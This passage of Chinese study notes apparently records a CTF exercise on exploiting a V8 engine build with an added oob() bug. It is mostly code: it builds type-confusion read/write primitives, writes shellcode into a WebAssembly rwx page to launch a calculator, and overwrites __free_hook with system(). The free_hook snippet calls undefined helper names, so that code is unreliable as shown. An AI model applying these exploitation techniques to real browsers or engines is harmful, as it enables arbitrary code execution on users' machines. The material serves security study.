02:0010  0xbbd8c44edb0 —▸ 0x159a28e40c71 ◂— 0x159a28e408
03:0018  0xbbd8c44edb8 ◂— 0x1000
04:0020  0xbbd8c44edc0 —▸ 0x5606fd7c9600 ◂— 0
05:0028  0xbbd8c44edc8 ◂— 2
06:0030  0xbbd8c44edd0 ◂— 0
07:0038  0xbbd8c44edd8 ◂— 0

之后的读写原语就很容易构造:

function arb_read_qword(addr) {
    dv1.setBigUint64(0, addr, true);
    return dv2.getBigUint64(0, true);
}

function arb_write_qword(addr, value) {
    dv1.setBigUint64(0, addr, true);
    return dv2.setBigUint64(0, value, true);
}

还有一种直接伪造ArrayBuffer​的方式:

image

这种方式关键在于Fake Map​的伪造,这种方式能够实现在于Type​字段是硬编码的,可以从内存中直接获取,至于为何不直接使用oob​获取,是因为Dataview​并不是Array​类型,不具有oob​函数。

var float_ab_mem = [
    u2d(0n),                        // Map
    u2d(0n),                        // Properties
    u2d(0n),                        // Elements
    u2d(0x1000n << 32n),            // ByteLength
    u2d(0n),                        // BackingStore
    u2d(0n),                        // Map
    u2d(0x1900042319080808n),       // Type
];

%DebugPrint(float_ab_mem);
%SystemBreak();
var fake_ab_addr = addressOf(float_ab_mem) + 0x58n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObject(fake_ab_addr);
var fake_dv = new DataView(fake_ab);

function arb_read_qword(addr) {
    float_ab_mem[4] = u2d(addr);
    return fake_dv.getBigUint64(0, true);
}

function arb_write_qword(addr, value) {
    float_ab_mem[4] = u2d(addr);
    return fake_dv.setBigUint64(0, value, true);
}

劫持程序执行流

利用WASM写ShellCode

低版本的V8在运行WASM时会生成rwx的内存段向内部写入shellcode即可控制程序执行流。直接在内存中搜索shellcode的首地址找到后发现就是WebAssembly.Instance​的地址固定偏移处的地址:

pwndbg> search -8 0x29e6f35e7000
Searching for value: b'\x00p^\xf3\xe6)\x00\x00'
[anon_9c1ffec0] 0x9c1ffee1728 0x29e6f35e7000
[heap]          0x55d560baec48 0x29e6f35e7000
[heap]          0x55d560baecb0 0x29e6f35e7000
[heap]          0x55d560baecd0 0x29e6f35e7000
[heap]          0x55d560bb7e30 0x29e6f35e7000

pwndbg> distance 0x09c1ffee16a1 0x9c1ffee1728
0x9c1ffee16a1->0x9c1ffee1728 is 0x87 bytes (0x10 words)

以下是弹计算器的exp

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
%DebugPrint(array_buffer);
function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

var obj = {};
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob(); 

function addressOf(obj) {
    float_array.oob(object_array_map);
    float_array[0] = obj;
    float_array.oob(float_array_map);
    return d2u(float_array[0]);
}

function fakeObject(addr) {
    object_array.oob(float_array_map);
    object_array[0] = u2d(addr | 1n);
    object_array.oob(object_array_map);
    return object_array[0];
}



var float_ab_mem = [
    u2d(0n),                        // Map
    u2d(0n),                        // Properties
    u2d(0n),                        // Elements
    u2d(0x1000n << 32n),            // ByteLength
    u2d(0n),                        // BackingStore
    u2d(0n),                        // Map
    u2d(0x1900042319080808n),       // Type
];

%DebugPrint(float_ab_mem);
%SystemBreak();
var fake_ab_addr = addressOf(float_ab_mem) + 0x58n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObject(fake_ab_addr);
var fake_dv = new DataView(fake_ab);

function arb_read_qword(addr) {
    float_ab_mem[4] = u2d(addr);
    return fake_dv.getBigUint64(0, true);
}

function arb_write_qword(addr, value) {
    float_ab_mem[4] = u2d(addr);
    return fake_dv.setBigUint64(0, value, true);
}

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
    128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
    0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
    0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
    97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
    42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;

var rwx_mem_addr = arb_read_qword(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));

var shellcode = [
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
]


for (let i = 0; i < shellcode.length; i++) {
    arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();

劫持free_hook

这个利用很简单只需要想办法找到libc基址即可。

var array_addr = addressOf(Array);
var elf_base = arbitrary_address_read(arbitrary_address_read(array_addr - 1n + 0x30n) + 0x41n) - 0xf8f680n;
print("[*] elf base: " + hex(elf_base));
var libc_base = arbitrary_address_read(elf_base + 0x1271b90n) - 0x7b0c0n;
print("[*] libc base: " + hex(libc_base));

var system_addr = libc_base + 0x4f420n;
var free_hook_addr = libc_base + 0x3ed8e8n;
arbitrary_address_write(free_hook_addr, system_addr);

print("/snap/bin/gnome-calculator");

问题:

  1. Element 的构成
  2. var​和let​的区别以及内存中的体现